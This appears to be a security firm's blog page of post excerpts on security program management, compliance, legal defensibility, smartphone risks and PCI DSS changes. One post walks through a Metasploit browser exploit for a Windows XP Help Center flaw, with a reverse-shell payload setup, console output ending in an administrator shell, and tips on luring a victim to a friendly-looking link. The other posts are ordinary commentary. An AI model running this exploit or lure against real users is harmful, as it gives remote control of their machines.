Getting Things Done: Stop Debating Security Minutiae

Many are familiar with David Allen's "Getting Things Done" methodology, used for time management to increase productivity and focus. Do you use it? Ask yourself, "What is the next physical action required to move this project forward?" Repeat this process until everything in the world is finished. It's just that simple.

What are minutiae? Minor details. More importantly, minutiae are minor details of negligible importance.

Negligible importance? Yes, negligible. Meaning, when you're studying something of larger magnitude, the items of negligible importance can be ignored or neglected. That's right, move on, you've got bigger fish to fry.

• We've got to look at better anti-virus software because our current one is not detecting malware X!
• We can't force our clients to change their passwords to our external portal! We'll have an uprising and get a ton of calls!
• Writing policy is a waste of time because employees won't follow the rules!
• Risk management has no place here because we don't even have time to patch all of our systems!
• Don't bring up PCI compliance around the CFO, he won't care.

We love to debate minutiae everywhere, in all facets of life. Information security is no different; it's a beloved exercise because it absolves us from actually having to do anything. And it makes us feel good! It makes us feel satisfied (mmm, tasty tasty minutiae)! But really all we've done is spun our wheels, and failed to persuade or change people’s minds.

Debating minutiae is crippling for a security program. It stunts growth and maturity. When using minutiae to build a security program, it's paralyzing. An organization will lay band-aids on everything that's in front of them; they'll focus only on the trees instead of the forest. They'll only discuss what's comfortable, or what's within their wheelhouse.

Now, move away from your keyboard, settle down, and retract your claws, Mr. Devils-In-The-Details. A wise older man with a tablet recently told me, “One man’s minutiae is another man’s job description.” I'm not saying you should ignore specificity to the point of ambiguousness. You absolutely need details. But really, you need them only at specific times. More often than not, they confuse and delay. They take the focus off of root, systemic issues - that feels good to everyone involved, because then they can talk about the things that are in front of them all day, the things they're experts in (read: comfortable). Do you work for a large organization? How many meetings were you in today that lasted more than an hour? Did you spend the majority of the time in your meetings talking about things that didn't really matter at that point? Most meetings include more trivial details than minor, important details.

You want to get things done? Start big, skim the surface across all areas, bring up uncomfortable security topics, continually assess, and then do something with that information - build a plan, and establish success and failure criteria on what it is you’re trying to get done so that you can clearly separate the minutiae from the bull’s-eye. Once you’ve got the bull’s-eye, create a timeline and go. Important details will flush themselves out. I promise. People who get things done realize this. Call us if you'd like to talk about it.

Read more!

Trust, But Verify: Full-Time Compliance

You can Google "trust, but verify" and come up with hundreds of articles regarding one of Ronald Reagan's signature catch phrases, accountability, auditing, etc. It can also be considered the default credo of the auditing community. Regardless of where it came from and the potential overuse of the phrase, it's what I live by and is a code that should be followed by anyone responsible for their company's compliance/governance programs and the security of sensitive data. Just about every regulation that deals with the protection of sensitive information requires some form of risk management and/or validation of controls. Proper compliance and risk management programs will not be successful without a high level of verification that proper security controls are in place and operating effectively.

Read more!

Acceptance is the first step

There’s a line. It’s an imaginary line, but it’s there and I’ve seen it manifest itself. It usually appears when an organization’s security division has to deliver a third party security assessment to their executive management. On one side of the line is the sincere quest for security improvement, on the other, internal politics and finger pointing. I have seen good people step right over that line in a well-intentioned act of self-preservation. When this happens, it can bring into question the role of the third party assessor.

Read more!

The Case for Legal Defensibility

I came across an interesting read the other day when researching future data security laws and regulations. The article I came across, titled "The Legal Defensibility Era," discussed the legal defensibility doctrine and its application in the information security arena. The whole premise of legal defensibility is to look beyond the check-the-box compliance mentality and build an information security program based on a reasonable standard of care for a particular organization. One of the intended benefits of building a security program based on reasonability is to lower one's liability risk.

It is apparent in today's compliance atmosphere that most organizations will do only the minimum necessary as required by law or regulation to secure themselves. Worse yet, other organizations will fail to implement any information security program either because most laws and regulations don't apply to them or they decided to accept all risk and push their luck.

What exacerbates this already complex problem is the myriad of different laws and regulations facing each organization. With so many laws and regulations out in the wild, it's not surprising for information security departments to feel overwhelmed and create unplanned and improvised programs protecting only the proverbial "low hanging fruit." Furthermore, risk management, when conducted improperly, could share some of the blame for poor security practices. If a proper risk rating cannot be ascertained during the risk assessment, improper decision making such as risk acceptance that greatly raises risk appetite or mitigating a risk that should have been accepted can occur.

Now, I'm not saying risk management and the patchwork of laws and regulations have no place in legal defensibility, because they do. Risk management is a very important spoke in the legal defensibility wheel as it demonstrates one is acting reasonably when it comes to securing their information. Also, a law is a law; if you have to follow it, then you have to follow it. However, only following the minimum requirements of any law or regulation won't necessarily make your organization more secure. In fact, in may even give you a false sense of assurance.

What legal defensibility will provide in the above situations is a reasonable standard to maintain a defense to potential lawsuits or fines if there is a breach in their information security. For instance, an organization that follows only the "minimum necessary" mentality may realize after a proper legal defensibility assessment that their current state of security was not adequate and would not meet a "reasonable" standard. In this situation their entire information security program may be worthless if it cannot provide a shield for them in a legal or regulatory action.

For example, a certain regulation may have stipulated the implementation of only some type of access controls, but let's assume it would have been more reasonable to also implement some sort of encryption feature. Consequently, the legal system may carry an unfavorable opinion of your security program for not implementing an encryption solution should a breach occur and may even view your organization as being incompetent. This could result in higher liability expenses, fees, and fines. This is especially true if the law or regulation does not provide a safe harbor for meeting the minimum requirements.

Read more!

Smartphones

Smartphones have become an integral part of our lives; we rely on them for everything. They hold all of our personal information, calendars, emails, phone numbers, text messages, and documents. However, the average user is not very savvy when it comes to the security of these devices. A user can browse to one of the many app stores and download just about anything, and most users do just that. One of the exciting things about smartphones is the customization of them. You can get any type of application you want, and most of the time it is free. You can get games, productivity applications, web servers, and ftp servers. Users feel a false sense of security because it is “just a phone” and the apps must be secure because they are getting them from an app store. These apps are developed by programmers of varying levels and skill sets, and security might not be their top priority. None of the app stores put the apps through a thorough security check; most run virus scans but it is usually done randomly and done after the app is posted. Even Apple has fallen victim to mobile malware. Some apps have even been signed safe by the stores only to have malicious code be discovered at a later date. Samsung’s Wave shipped with malware installed on the SD card, which activated as soon as it was connected to a PC.

Read more!

Windows XP Help Center Client Side Attack

With the patch Tuesday release of XP zero days last week i started checking around for Proof of concepts and ran across the following posts.

http://seclists.org/fulldisclosure/2010/Jun/205
http://www.exploit-db.com/exploits/13808/

The above advisories are for windows XP which many businesses still run, and utilizes a XSS attack which many developers and site owners feel isn't really a threat, read below to find out why XSS is dangerous.


After reading the above advisories I checked in metasploit and a working exploit is already available within the exploit framework.

If you are on an internal or client side test penetration test you generally see most clients running windows XP and generally outdated browsers. They are either using IE6 or IE7 or IE8. The above advisories describe a way of using a cross site scripting attack to gain full control of the victim. The essence of this attack is that an un-handled XSS is utilized in hcp://system/sysinfo/sysinfomain.htm?svr=, which can be directly accessed via a url in a browser. By using a defer in a XSS to execute a script in a privileged zone a windows popup is bypassed thus not needing a victim to click any annoying popups to make the attack work.

<script defer>code</script>

"due to insufficient escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable
to a DOM-type XSS. However, the escaping routine will abort encoding if characters such as '=' or '"' or others are specified. "


The help center exploit works on xp sp2 and sp3 which covers most clients in most companies. I do not see many companies running vista or windows7.... IE6 and IE7 browsers are vulnerable to this attack without a popup however IE8 works but with a user popup box unless the victim is running certain versions of media player... I also just tested this with a IE8 browser running in comparability mode... When the client visited the page Automatically the exploit pulled up the help docs and gave me a meterpreter shell, wooooot
I am thinking this would be a good exploit to use in client side penetration tests... So below is the info and a quick usage of the exploit...


Module Name:
ms10_xxx_helpctr_xss_cmd_exec

Below is a description and then usage of the module... give it a try...

Description: (From Metasploit)
"Help and Support Center is the default application provided to
access online documentation for Microsoft Windows. Microsoft
supports accessing help documents directly via URLs by installing a
protocol handler for the scheme "hcp". Due to an error in validation
of input to hcp:// combined with a local cross site scripting
vulnerability and a specialized mechanism to launch the XSS trigger,
arbitrary command execution can be achieved. On IE6 and IE7 on XP
SP2 or SP3, code execution is automatic. On IE8, a dialog box pops,
but if WMP9 is installed, WMP9 can be used for automatic execution.
If IE8 and WMP11, a dialog box will ask the user if execution should
continue. Automatic detection of these options is implemented in
this module, and will default to not sending the exploit for
IE8/WMP11 unless the option is overridden."

Simple Usage Example:
msf > use windows/browser/ms10_xxx_helpctr_xss_cmd_exec
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set LPORT 5555
LPORT => 5555
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.10:5555
[*] Using URL: https://mail.securestate.net/owa/redir.aspx?C=e81037485a8540388c6fd5dd620d1273&URL=http%3a%2f%2f0.0.0.0%3a80%2f
[*] Local IP: https://mail.securestate.net/owa/redir.aspx?C=e81037485a8540388c6fd5dd620d1273&URL=http%3a%2f%2f192.168.1.10%3a80%2f
[*] Server started.

Send Your Link to the Victim and wait:
Now send the victim out a link to your IP address via email or chat. Generally i would have a registered URL that looks friendly and send them that URL in order to not look too suspicious.

msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > [*] Request for "/" does not contain a sub-directory, redirecting to /c3hfRM5Kh/ ...
[*] Sending Microsoft Help Center XSS and Command Execution to 192.168.1.11:1295...
[*] Responding to request for exploit iframe at 192.168.1.11:1295...
[*] Request for "/" does not contain a sub-directory, redirecting to /ETnOhHE9EqYirlA/ ...
[*] Responding to WebDAV OPTIONS request from 192.168.1.11:1305
[*] Request for "/Vl" does not contain a sub-directory, redirecting to /Vl/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1305
[*] Sending directory multistatus for /Vl/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1305
[*] Sending EXE multistatus for /Vl/ly.exe ...
[*] Request for "/Vl" does not contain a sub-directory, redirecting to /Vl/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1305
[*] Sending directory multistatus for /Vl/ ...
[*] GET for payload received.
[*] Sending stage (748032 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.10:5555 -> 192.168.1.11:1306) at Fri Jun 11 18:10:38 -0400 2010

msf exploit(ms10_xxx_helpctr_xss_ cmd_exec) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter EXPLOIT\Administrator @ EXPLOIT 192.168.1.10:5555 -> 192.168.1.11:1291
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: EXPLOIT\Administrator


Final Notes:
With the coming of a new patch tuesday, a whole slew of exploits are available for windows XP. The moral of the story is, UPDATE YOUR SYSTEMS.The metasploit module above sets up a server and waits for your victim to make a connection, when the victim does make a connection a help window is opened and they are silently owned.... More then likely the victim will just think windows is acting up as windows usually does or perhaps the user accidentally clicked something :) :)

Read more!

Upcoming PCI DSS Changes

It’s getting to be that time of year again; PCI ROC season is right around the corner. Though the new version of PCI DSS (Version 2.0?) is not due out until October, many of my clients are asking what changes they should expect.

Every two years the PCI Security Standards Council (PCI SSC) issues a new version of the Payment Card Industry Data Security Standard (PCI DSS) as part of the lifecycle and feedback review process from a wide range of organizations. No major changes are expected in the upcoming release, just clarifications.

For starters, look for an update to Requirement 6.5 (secure web application development) for changes in the OWASP Top 10. Your will see 2 new Top 10 vulnerabilities including Security Configuration and Unvalidated Redirects and Forwards. Gone are malicious file execution (6.5.3) and Information leakage and improper error handling (6.5.6). Keep in mind that (as per PCI DSS) whenever a new version of the OWASP Top 10 vulnerabilities is released, it’s implied that the current requirements are to be replaced with the latest OWASP updates.

Expect to see Information Supplements that provide guidance and clarification on a range of emerging technologies. One of the first will address the use of Virtualization technologies. The Virtualization Special Interest Group (SIG) has been busy putting together a white paper and a mapping "tool" document that explains where virtualization applies within each requirement of the DSS. You can find more information on the Virtualization SIG here. Other papers to be published are anticipated to address end-to-end encryption, tokenization and even the Eurocard-MasterCard-Visa (EMV) chip-card standard.

In another change, the PCI SSC is expected to clarify what constitutes acceptable network segmentation. Although segmenting cardholder data environments from the rest of non-cardholder data network is not required by the PCI DSS, it is the only cost effective way to address compliance. Without segmentation, your entire network is considered in scope and subject to PCI compliance.

Lastly, there should be clarification on strong one-way hashing of Primary Account Numbers (PAN). Organizations can remove PAN data from PCI scope either by truncation (deleting all but the first 6 and last 4 digits) or using a secure one-way hash that cannot be reversed. This clarification promises to be a welcome step in helping organizations and their QSAs clarify what is and what is not in scope.

Read more!